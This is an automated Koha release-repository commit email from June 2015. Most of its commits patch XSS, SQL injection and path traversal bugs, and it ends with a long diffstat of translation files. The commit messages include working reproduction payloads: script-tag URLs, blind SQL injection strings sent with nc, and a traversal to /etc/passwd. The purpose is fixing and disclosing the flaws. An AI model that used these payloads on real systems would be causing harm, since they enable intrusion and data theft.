[koha-commits] main Koha release repository branch 3.20.x updated. v3.20.00-83-ga029423

Git repo owner gitmaster at git.koha-community.org
Tue Jun 23 09:13:55 CEST 2015


This is an automated email from the git hooks/post-receive script. It was
generated because a ref change was pushed to the repository containing
the project "main Koha release repository".

The branch, 3.20.x has been updated
       via  a02942329b1ec7ddd4cdf7791fb209e3ab070fe5 (commit)
       via  83789dd75c74af25433ba2ede15b7bb71138540f (commit)
       via  a4310e870247cb57cb1cbca55fed749d63469dcf (commit)
       via  bab7a33c2d6b4774dd96af1d10f72620802e9b4e (commit)
       via  48af13bd1a0eff3162d5e8edb867a701e233e5da (commit)
       via  d35384c039b8db00659d1cd0ee08cfb50c45481e (commit)
       via  66dc4a9e7d2f11b97f1a4b0f76b5c485c3873683 (commit)
       via  4b5a87c7ec62cfb796ea7c24aec8a61039e25f5c (commit)
       via  f260c56838d5c914831b7de1171df11fa5714ce1 (commit)
       via  beedae80631f0f34be341274ee63c6b0aeeb75d6 (commit)
       via  bb5f6b4bfa20800ab36fdf899838e8adb18089dd (commit)
       via  364de7531c7b0ac604d396e3af1c84f674e7221e (commit)
       via  b414b22bf063d58e0e2255a648097cf9111ab445 (commit)
       via  f9569612b65798dce457b5650a5b5162b80b12e8 (commit)
       via  04fe052de7337f7c348de69df3d0ec1184b80e8d (commit)
       via  21cc992e7e5a35ccf1b7614cae638c9863e2a35f (commit)
       via  afb00d13904052c71497834761e81996bc5f3d36 (commit)
       via  1ba766f200fd693665e942d9bee86c327893a9bb (commit)
       via  20910660a27f61307153afa05c13d67b1b5e91af (commit)
       via  1316436e269eec4836e0f999f62009ce41bcc08f (commit)
      from  0ba2e45448ff078de897b5eebd1acce5557b8a34 (commit)

Those revisions listed above that are new to this repository have
not appeared on any other notification email; so we list those
revisions in full, below.

- Log -----------------------------------------------------------------
commit a02942329b1ec7ddd4cdf7791fb209e3ab070fe5
Merge: a4310e8 83789dd
Author: Chris Cormack <chrisc at catalyst.net.nz>
Date:   Tue Jun 23 14:12:55 2015 +1200

    Tranlsation updates
    
    Merge remote-tracking branch 'bernardo/3.20.01' into 3.20.x

commit 83789dd75c74af25433ba2ede15b7bb71138540f
Author: Bernardo Gonzalez Kriegel <bgkriegel at gmail.com>
Date:   Mon Jun 22 21:20:17 2015 -0300

    Translation updates for Koha 3.20.1 release

commit a4310e870247cb57cb1cbca55fed749d63469dcf
Author: Chris <chris at bigballofwax.co.nz>
Date:   Sun Jun 21 09:35:07 2015 +0000

    Bug 14423 : Multiple XSS bugs in suggestion.pl
    
    To test
    1/ Hit a url like http://localhost:8081/cgi-bin/koha/suggestion/suggestion.pl?author=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&accepteddate_to=
    2/ Notice alert box(es)
    3/ Apply patch
    4/ Reload and notice alert is gone
    
    Repeat for
    collection_title
    copyrightdate
    isbn
    manageddate_from
    manageddate_to
    publishercode
    suggesteddate_from
    suggesteddate_to
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit bab7a33c2d6b4774dd96af1d10f72620802e9b4e
Author: Chris <chris at bigballofwax.co.nz>
Date:   Sun Jun 21 09:20:51 2015 +0000

    Bug 14423 : Multiple XSS vulnerabilities in serials-search
    
    To test
    
    1/ Hit a url like http://localhost:8081/cgi-bin/koha/serials/serials-search.pl?bookseller_filter=%22%22%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&searched=1&title_filter=
    2/ Notice alert boxes
    3/ Apply patch
    4/ Reload, notice fixed
    
    Repeat for
    callnumber_filter
    EAN_filter
    ISSN_filter
    publisher_filter
    title_filter
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 48af13bd1a0eff3162d5e8edb867a701e233e5da
Author: Chris <chris at bigballofwax.co.nz>
Date:   Sun Jun 21 09:01:32 2015 +0000

    Bug 14423 : XSS bugs in catalogue search
    
    To test
    
    1/ hit a url like http://localhost:8081/cgi-bin/koha/catalogue/search.pl?limit=%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
    2/ Notice alert boxes
    3/ Apply patch
    4/ Reload url, no alerts
    5/ Check search still works
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit d35384c039b8db00659d1cd0ee08cfb50c45481e
Author: Chris <chris at bigballofwax.co.nz>
Date:   Sun Jun 21 08:33:13 2015 +0000

    Bug 14423 XSS bug in auth_subfields_structure
    
    1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode=%27%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
    2/ Notice a ton of alert boxes pop up
    3/ Apply patch
    4/ Reload url, no longer get any alerts
    5/ Test fuctionality still works
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 66dc4a9e7d2f11b97f1a4b0f76b5c485c3873683
Author: Chris <chris at bigballofwax.co.nz>
Date:   Sun Jun 21 08:18:20 2015 +0000

    Bug 14423 : XSS bug in lateorders
    
    1/ hit a url like http://localhost:8081/cgi-bin/koha/acqui/lateorders.pl?delay=<script>alert('oh noes')</script>&estimateddeliverydatefrom
    2/ Not you get an alert box
    3/ Apply patch notice it is fixed
    4/ Test functionality still works
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 4b5a87c7ec62cfb796ea7c24aec8a61039e25f5c
Author: Chris <chris at bigballofwax.co.nz>
Date:   Sun Jun 21 08:10:20 2015 +0000

    Bug 14423 : XSS in authorities-home
    
    To test:
    1/ Hit a url like http://localhost:8081/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
    2/ Notice you get 3 alert boxes
    3/ Apply patch
    4/ Hit the url again, no js
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit f260c56838d5c914831b7de1171df11fa5714ce1
Author: Jonathan Druart <jonathan.druart at koha-community.org>
Date:   Mon Jun 22 10:56:26 2015 +0200

    Bug 14426: Escape or use placeholders for sql parameters
    
    Does this patch enough to prevent sql injection in borrowers_out.pl?
    
    ====================================================================
    1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil')
    ====================================================================
    
    echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
    HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
    186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')"
    | nc testbox 9002
    
    echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
    HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
    186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')"
    | nc testbox 9002
    
    ====================================================================
    2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b
    ====================================================================
    
    echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
    HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
    183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a"
    | nc testbox 9002
    
    echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
    HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
    183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b"
    | nc testbox 9002
    
    ====================================================================
    
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit beedae80631f0f34be341274ee63c6b0aeeb75d6
Author: Jonathan Druart <jonathan.druart at koha-community.org>
Date:   Mon Jun 22 10:24:51 2015 +0200

    Bug 14408: Allow integers in template paths
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at theke.io>
    (cherry picked from commit 64e47c63dc59669c3c651b93630c470e06107fd6)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit bb5f6b4bfa20800ab36fdf899838e8adb18089dd
Author: Jonathan Druart <jonathan.druart at koha-community.org>
Date:   Fri Jun 19 10:25:30 2015 +0200

    Bug 14408: Add tests to get_template_and_user
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at theke.io>
    (cherry picked from commit 5dd7c8f0d5fae67ea6177fdbac77a04f70661864)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 364de7531c7b0ac604d396e3af1c84f674e7221e
Author: Chris <chris at bigballofwax.co.nz>
Date:   Mon Jun 22 05:23:52 2015 +0000

    Bug 14408: Path Traversal error
    
    Counter counter patch
    Please test well, including with the null byte %00, this uses a whitelisting to only allow files ending with .tt
    and not allowing ../etc
    
    Note the previous patch tries to protect against /etc/passwd
    but //etc/passwd is now vulnerable.  I do think a whitelist is safer than trying to do a blacklist
    
    /cgi-bin/koha/svc/virtualshelves/search
    /cgi-bin/koha/svc/members/search
    
    Are vulnerable
    
    To test:
    1/ Hit /cgi-bin/koha/svc/members/search?template_path=members/tables/members_results.tt
      Notice you get a valid JSON response
    2/ Hit
    /search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
      (You may have add more ..%2f or remove them to get the correct path)
      Notice you can see the contents of the /etc/passwd file
    3/ Hit
    /cgi-bin/koha/svc/members/search?template_path=test%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
    4/ Apply patch
    5/ Hit the first url again, notice it still works
    6/ Hit the second url notice it now errors with a file not found
    7/ Hit the third url notice it now errors with a file not found
    
    Repeat for the other script also
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    
    Signed-off-by: Katrin Fischer <katrin.fischer.83 at web.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at theke.io>
    (cherry picked from commit 5a7f459290326e1cea8460bb0817492340dd4150)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit b414b22bf063d58e0e2255a648097cf9111ab445
Author: Chris Cormack <chrisc at catalyst.net.nz>
Date:   Fri Jun 19 08:35:07 2015 +1200

    Bug 14412: SQL injection possible
    
    There is a SQL Injection vulnerability in the
    /cgi-bin/koha/opac-tags_subject.pl script.
    
    By manipulating the variable 'number', the database can be accessed
    via time-based blind injections.
    
    The following string serves as an example:
    
    /cgi-bin/koha/opac-tags_subject.pl?number=1+PROCEDURE+ANALYSE+(EXTRACTVALUE(9743,CONCAT(0x5c,(BENCHMARK(5000000,MD5('evil'))))),1)
    
    To exploit the vulnerability, no authentication is needed
    
    To test
    1/ Turn on mysql query logging
    2/ Hit /cgi-bin/koha/opac-tags_subject.pl?number=1+PROCEDURE+ANALYSE+(EXTRACTVALUE(9743,CONCAT(0x5c,(BENCHMARK(5000000,MD5('evil'))))),1)
    3/ Check the logs notice something like
      SELECT entry,weight FROM tags ORDER BY weight DESC LIMIT 1
      PROCEDURE ANALYSE
      (EXTRACTVALUE(9743,CONCAT(0x5c,(BENCHMARK(5000000,MD5('evil'))))),1)
    4/ Apply patch
    5/ Hit the url again
    6/ Notice the log now only has
       SELECT entry,weight FROM tags ORDER BY weight DESC LIMIT 1
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Confirmed the problem and the fix for it.
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    
    (cherry picked from commit 57b01fb655955ac630d6018d03f4d134e7e3e25a)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit f9569612b65798dce457b5650a5b5162b80b12e8
Author: Chris Cormack <chrisc at catalyst.net.nz>
Date:   Fri Jun 19 11:41:45 2015 +1200

    Bug 14418: More XSS vulnerabilities in opac-shelves.pl
    
    To test:
    1/ Hit a url like
    /cgi-bin/koha/opac-shelves.pl?viewshelf=7&op=modif&display="><script>alert('oh
    noes')</script>  Where the id is a valid shelf id
    2/ Notice the js is executed
    3/ Apply patch
    4/ Reload page
    5/ Notice input is now escaped on display
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Tested in Debian, couldn't reproduce the alert in Iceweasel, but in
    Chromium. Patch fixes it.
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    
    (cherry picked from commit cd4c959f7226b060f683f5571f030cc2df7539ca)

commit 04fe052de7337f7c348de69df3d0ec1184b80e8d
Author: Chris Cormack <chrisc at catalyst.net.nz>
Date:   Fri Jun 19 11:30:22 2015 +1200

    Bug 14418: XSS flaw in opac-shelves.pl
    
    To test:
    1/ Create a list and add at least one item to it
    2/ Hit a url like http://192.168.2.18/cgi-bin/koha/opac-shelves.pl?viewshelf=7&sort=author&direction=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
      Where the shelf id is the number of the list you created, notice the js is executed
    3/ Apply the patch
    4/ Reload the page notice the js is now escaped
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    (cherry picked from commit b6ca2b0cd2d95e8aedbfd7c0c58ace8200620bf1)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 21cc992e7e5a35ccf1b7614cae638c9863e2a35f
Author: Chris Cormack <chrisc at catalyst.net.nz>
Date:   Fri Jun 19 09:25:22 2015 +1200

    Bug 14418: XSS Vulnerabilities in OPAC search
    
    Fix for /cgi-bin/koha/opac-search.pl
    
    To test
    
    1/ Hit /cgi-bin/koha/opac-search.pl?tag="><script
    src='http://cst.sba-research.org/x.js'/>&q=a
    2/ Notice the js is executed
    3/ Apply patch
    4/ Reload page, notice it is no longer executed
    5/ Test the rss links work still
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Confirmed bug and that the patch fixes it.
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    
    (cherry picked from commit 45dd7754019e8f525c8d52bf33c41016e5ccbfab)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit afb00d13904052c71497834761e81996bc5f3d36
Author: Jonathan Druart <jonathan.druart at koha-community.org>
Date:   Fri Jun 19 11:21:56 2015 +0200

    Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet)
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    (cherry picked from commit 542b06f065bf550a2a625bbfb34ce73bb65d01a1)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 1ba766f200fd693665e942d9bee86c327893a9bb
Author: Jonathan Druart <jonathan.druart at koha-community.org>
Date:   Fri Jun 19 11:21:47 2015 +0200

    Bug 14416: (follow-up) opac addbybilionumber
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    (cherry picked from commit abd2bc99e886c11fa9abe15ef01c3298d00757cb)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 20910660a27f61307153afa05c13d67b1b5e91af
Author: Chris Cormack <chrisc at catalyst.net.nz>
Date:   Fri Jun 19 11:26:02 2015 +1200

    Bug 14416: Stored XSS vulnerability
    
    opac-addbybiblionumber.pl is also vulnerable because it doesn't escape
    list names.
    
    To test
    1/ Create a malicious list name
    2/ Try to add a biblio to the lists
    3/ Notice js is excuted
    4/ Apply patch
    5/ Test again
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    (cherry picked from commit fb51a4bb0f3ac8b42b53579fe3d6d73d0b3438cd)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

commit 1316436e269eec4836e0f999f62009ce41bcc08f
Author: Chris Cormack <chrisc at catalyst.net.nz>
Date:   Fri Jun 19 10:54:40 2015 +1200

    Bug 14416: Stored XSS vulnerability
    
    The affected page in the OPAC client is:
    http://testbox:9001/cgi-bin/koha/opac-shelves.pl
    the vulnerable parameter: addshelf
    
    The affected page in the STAFF client is:
    http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl
    
    To test:
    1/ Create a shelf in the opac that contains some malicious js
     eg Bad stuff <script>alert('oh noes');</script> as the name
    2/ Go to /cgi-bin/koha/virtualshelves/shelves.pl in the staff client
      Note the js is executed
    3/ View
    http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1
      Notice the html is not escaped
    4/ Apply patch
    5/ View
    http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1
      Notice the html is now escaped
    6/ View /cgi-bin/koha/virtualshelves/shelves.pl - no more exploit
    
    Signed-off-by: Jonathan Druart <jonathan.druart at koha-community.org>
    Signed-off-by: Katrin Fischer <katrin.fischer at bsz-bw.de>
    Signed-off-by: Tomas Cohen Arazi <tomascohen at unc.edu.ar>
    (cherry picked from commit 703a928b9d81e974d56c306cd0bee3670f243c55)
    Signed-off-by: Chris Cormack <chrisc at catalyst.net.nz>

-----------------------------------------------------------------------

Summary of changes:
 C4/Auth.pm                                         |    3 +
 .../prog/en/includes/authorities-search.inc        |    6 +-
 .../prog/en/modules/acqui/lateorders.tt            |    6 +-
 .../en/modules/admin/auth_subfields_structure.tt   |   28 +-
 .../prog/en/modules/catalogue/results.tt           |    6 +-
 .../prog/en/modules/serials/serials-search.tt      |   26 +-
 .../prog/en/modules/suggestion/suggestion.tt       |   22 +-
 .../en/modules/virtualshelves/addbybiblionumber.tt |    8 +-
 .../virtualshelves/tables/shelves_results.tt       |    2 +-
 .../bootstrap/en/modules/opac-addbybiblionumber.tt |    8 +-
 .../opac-tmpl/bootstrap/en/modules/opac-results.tt |    6 +-
 .../opac-tmpl/bootstrap/en/modules/opac-shelves.tt |    4 +-
 misc/translator/po/am-Ethi-opac-bootstrap.po       |  147 +-
 misc/translator/po/am-Ethi-pref.po                 |   12 +-
 misc/translator/po/am-Ethi-staff-help.po           |    2 +-
 misc/translator/po/am-Ethi-staff-prog.po           | 1459 ++--
 misc/translator/po/ar-Arab-marc-MARC21.po          |   20 +-
 misc/translator/po/ar-Arab-marc-UNIMARC.po         |   14 +-
 misc/translator/po/ar-Arab-opac-bootstrap.po       |  282 +-
 misc/translator/po/ar-Arab-pref.po                 |   40 +-
 misc/translator/po/ar-Arab-staff-help.po           |   75 +-
 misc/translator/po/ar-Arab-staff-prog.po           | 2105 +++---
 misc/translator/po/az-AZ-opac-bootstrap.po         |  147 +-
 misc/translator/po/az-AZ-pref.po                   |   14 +-
 misc/translator/po/az-AZ-staff-help.po             |    2 +-
 misc/translator/po/az-AZ-staff-prog.po             | 1451 ++--
 misc/translator/po/be-BY-opac-bootstrap.po         |  151 +-
 misc/translator/po/be-BY-pref.po                   |   14 +-
 misc/translator/po/be-BY-staff-help.po             |    2 +-
 misc/translator/po/be-BY-staff-prog.po             | 1454 ++--
 misc/translator/po/bg-Cyrl-opac-bootstrap.po       |  147 +-
 misc/translator/po/bg-Cyrl-pref.po                 |   14 +-
 misc/translator/po/bg-Cyrl-staff-help.po           |    2 +-
 misc/translator/po/bg-Cyrl-staff-prog.po           | 1455 ++--
 misc/translator/po/bn-IN-opac-bootstrap.po         |  147 +-
 misc/translator/po/bn-IN-pref.po                   |   14 +-
 misc/translator/po/bn-IN-staff-help.po             |    2 +-
 misc/translator/po/bn-IN-staff-prog.po             | 1455 ++--
 misc/translator/po/ca-ES-opac-bootstrap.po         |  151 +-
 misc/translator/po/ca-ES-pref.po                   |   12 +-
 misc/translator/po/ca-ES-staff-help.po             |    2 +-
 misc/translator/po/ca-ES-staff-prog.po             | 1451 ++--
 misc/translator/po/cs-CZ-marc-MARC21.po            |   18 +-
 misc/translator/po/cs-CZ-opac-bootstrap.po         |  157 +-
 misc/translator/po/cs-CZ-pref.po                   |   60 +-
 misc/translator/po/cs-CZ-staff-help.po             |   26 +-
 misc/translator/po/cs-CZ-staff-prog.po             | 1499 ++--
 misc/translator/po/da-DK-opac-bootstrap.po         |  208 +-
 misc/translator/po/da-DK-pref.po                   |   18 +-
 misc/translator/po/da-DK-staff-help.po             |   18 +-
 misc/translator/po/da-DK-staff-prog.po             | 2039 +++---
 misc/translator/po/de-CH-opac-bootstrap.po         |  155 +-
 misc/translator/po/de-CH-pref.po                   |   35 +-
 misc/translator/po/de-CH-staff-help.po             |    2 +-
 misc/translator/po/de-CH-staff-prog.po             | 1483 ++--
 misc/translator/po/de-DE-opac-bootstrap.po         |  167 +-
 misc/translator/po/de-DE-pref.po                   |   41 +-
 misc/translator/po/de-DE-staff-help.po             |   21 +-
 misc/translator/po/de-DE-staff-prog.po             | 1497 ++--
 misc/translator/po/el-GR-opac-bootstrap.po         |  147 +-
 misc/translator/po/el-GR-pref.po                   |   18 +-
 misc/translator/po/el-GR-staff-help.po             |    2 +-
 misc/translator/po/el-GR-staff-prog.po             | 1454 ++--
 misc/translator/po/en-GB-opac-bootstrap.po         |  160 +-
 misc/translator/po/en-GB-pref.po                   |   18 +-
 misc/translator/po/en-GB-staff-help.po             |    2 +-
 misc/translator/po/en-GB-staff-prog.po             | 3315 ++++-----
 misc/translator/po/en-NZ-marc-MARC21.po            |  144 +-
 misc/translator/po/en-NZ-opac-bootstrap.po         |  202 +-
 misc/translator/po/en-NZ-pref.po                   |   30 +-
 misc/translator/po/en-NZ-staff-help.po             |    2 +-
 misc/translator/po/en-NZ-staff-prog.po             | 1463 ++--
 misc/translator/po/eo-opac-bootstrap.po            |  149 +-
 misc/translator/po/eo-pref.po                      |   12 +-
 misc/translator/po/eo-staff-help.po                |    2 +-
 misc/translator/po/eo-staff-prog.po                | 1457 ++--
 misc/translator/po/es-ES-opac-bootstrap.po         |  161 +-
 misc/translator/po/es-ES-pref.po                   |   40 +-
 misc/translator/po/es-ES-staff-help.po             |   22 +-
 misc/translator/po/es-ES-staff-prog.po             | 1487 ++--
 misc/translator/po/eu-opac-bootstrap.po            |  151 +-
 misc/translator/po/eu-pref.po                      |   12 +-
 misc/translator/po/eu-staff-help.po                |    2 +-
 misc/translator/po/eu-staff-prog.po                | 1459 ++--
 misc/translator/po/fa-Arab-opac-bootstrap.po       |  147 +-
 misc/translator/po/fa-Arab-pref.po                 |   14 +-
 misc/translator/po/fa-Arab-staff-help.po           |    2 +-
 misc/translator/po/fa-Arab-staff-prog.po           | 1451 ++--
 misc/translator/po/fi-FI-marc-MARC21.po            |   13 +-
 misc/translator/po/fi-FI-opac-bootstrap.po         |  149 +-
 misc/translator/po/fi-FI-pref.po                   |   18 +-
 misc/translator/po/fi-FI-staff-help.po             |    2 +-
 misc/translator/po/fi-FI-staff-prog.po             | 1459 ++--
 misc/translator/po/fo-FO-opac-bootstrap.po         |  147 +-
 misc/translator/po/fo-FO-pref.po                   |   12 +-
 misc/translator/po/fo-FO-staff-help.po             |    2 +-
 misc/translator/po/fo-FO-staff-prog.po             | 1451 ++--
 misc/translator/po/fr-CA-opac-bootstrap.po         |  151 +-
 misc/translator/po/fr-CA-pref.po                   |   20 +-
 misc/translator/po/fr-CA-staff-help.po             |    2 +-
 misc/translator/po/fr-CA-staff-prog.po             | 1463 ++--
 misc/translator/po/fr-FR-opac-bootstrap.po         |  176 +-
 misc/translator/po/fr-FR-pref.po                   |   46 +-
 misc/translator/po/fr-FR-staff-help.po             |   12 +-
 misc/translator/po/fr-FR-staff-prog.po             | 1550 +++--
 misc/translator/po/gl-opac-bootstrap.po            |  147 +-
 misc/translator/po/gl-pref.po                      |   16 +-
 misc/translator/po/gl-staff-help.po                |    2 +-
 misc/translator/po/gl-staff-prog.po                | 1451 ++--
 misc/translator/po/he-Hebr-opac-bootstrap.po       |  147 +-
 misc/translator/po/he-Hebr-pref.po                 |   12 +-
 misc/translator/po/he-Hebr-staff-help.po           |    2 +-
 misc/translator/po/he-Hebr-staff-prog.po           | 1451 ++--
 misc/translator/po/hi-opac-bootstrap.po            |  147 +-
 misc/translator/po/hi-pref.po                      |   12 +-
 misc/translator/po/hi-staff-help.po                |    2 +-
 misc/translator/po/hi-staff-prog.po                | 1451 ++--
 misc/translator/po/hr-HR-opac-bootstrap.po         |  333 +-
 misc/translator/po/hr-HR-pref.po                   |   12 +-
 misc/translator/po/hr-HR-staff-help.po             |    2 +-
 misc/translator/po/hr-HR-staff-prog.po             | 1457 ++--
 misc/translator/po/hu-HU-opac-bootstrap.po         |  149 +-
 misc/translator/po/hu-HU-pref.po                   |   14 +-
 misc/translator/po/hu-HU-staff-help.po             |    2 +-
 misc/translator/po/hu-HU-staff-prog.po             | 1451 ++--
 misc/translator/po/hy-Armn-marc-MARC21.po          |   20 +-
 misc/translator/po/hy-Armn-marc-UNIMARC.po         |   14 +-
 misc/translator/po/hy-Armn-opac-bootstrap.po       |  283 +-
 misc/translator/po/hy-Armn-pref.po                 |   40 +-
 misc/translator/po/hy-Armn-staff-help.po           |   75 +-
 misc/translator/po/hy-Armn-staff-prog.po           | 2132 +++---
 misc/translator/po/id-ID-opac-bootstrap.po         |  149 +-
 misc/translator/po/id-ID-pref.po                   |   18 +-
 misc/translator/po/id-ID-staff-help.po             |    2 +-
 misc/translator/po/id-ID-staff-prog.po             | 1453 ++--
 misc/translator/po/is-IS-opac-bootstrap.po         |  147 +-
 misc/translator/po/is-IS-pref.po                   |   16 +-
 misc/translator/po/is-IS-staff-help.po             |    2 +-
 misc/translator/po/is-IS-staff-prog.po             | 1451 ++--
 misc/translator/po/it-IT-opac-bootstrap.po         |  157 +-
 misc/translator/po/it-IT-pref.po                   |   31 +-
 misc/translator/po/it-IT-staff-help.po             |    2 +-
 misc/translator/po/it-IT-staff-prog.po             | 1591 ++---
 misc/translator/po/ja-Jpan-JP-opac-bootstrap.po    |  147 +-
 misc/translator/po/ja-Jpan-JP-pref.po              |   12 +-
 misc/translator/po/ja-Jpan-JP-staff-help.po        |    2 +-
 misc/translator/po/ja-Jpan-JP-staff-prog.po        | 1497 ++--
 misc/translator/po/ka-opac-bootstrap.po            |  151 +-
 misc/translator/po/ka-pref.po                      |   12 +-
 misc/translator/po/ka-staff-help.po                |    2 +-
 misc/translator/po/ka-staff-prog.po                | 1455 ++--
 misc/translator/po/km-KH-opac-bootstrap.po         |  147 +-
 misc/translator/po/km-KH-pref.po                   |   12 +-
 misc/translator/po/km-KH-staff-help.po             |    2 +-
 misc/translator/po/km-KH-staff-prog.po             | 1455 ++--
 misc/translator/po/kn-Knda-opac-bootstrap.po       |  147 +-
 misc/translator/po/kn-Knda-pref.po                 |   12 +-
 misc/translator/po/kn-Knda-staff-help.po           |    2 +-
 misc/translator/po/kn-Knda-staff-prog.po           | 1451 ++--
 misc/translator/po/ko-Kore-KP-opac-bootstrap.po    |  147 +-
 misc/translator/po/ko-Kore-KP-pref.po              |   16 +-
 misc/translator/po/ko-Kore-KP-staff-help.po        |    2 +-
 misc/translator/po/ko-Kore-KP-staff-prog.po        | 1451 ++--
 misc/translator/po/ku-Arab-opac-bootstrap.po       |  151 +-
 misc/translator/po/ku-Arab-pref.po                 |   18 +-
 misc/translator/po/ku-Arab-staff-help.po           |    2 +-
 misc/translator/po/ku-Arab-staff-prog.po           | 1453 ++--
 misc/translator/po/lo-Laoo-opac-bootstrap.po       |  147 +-
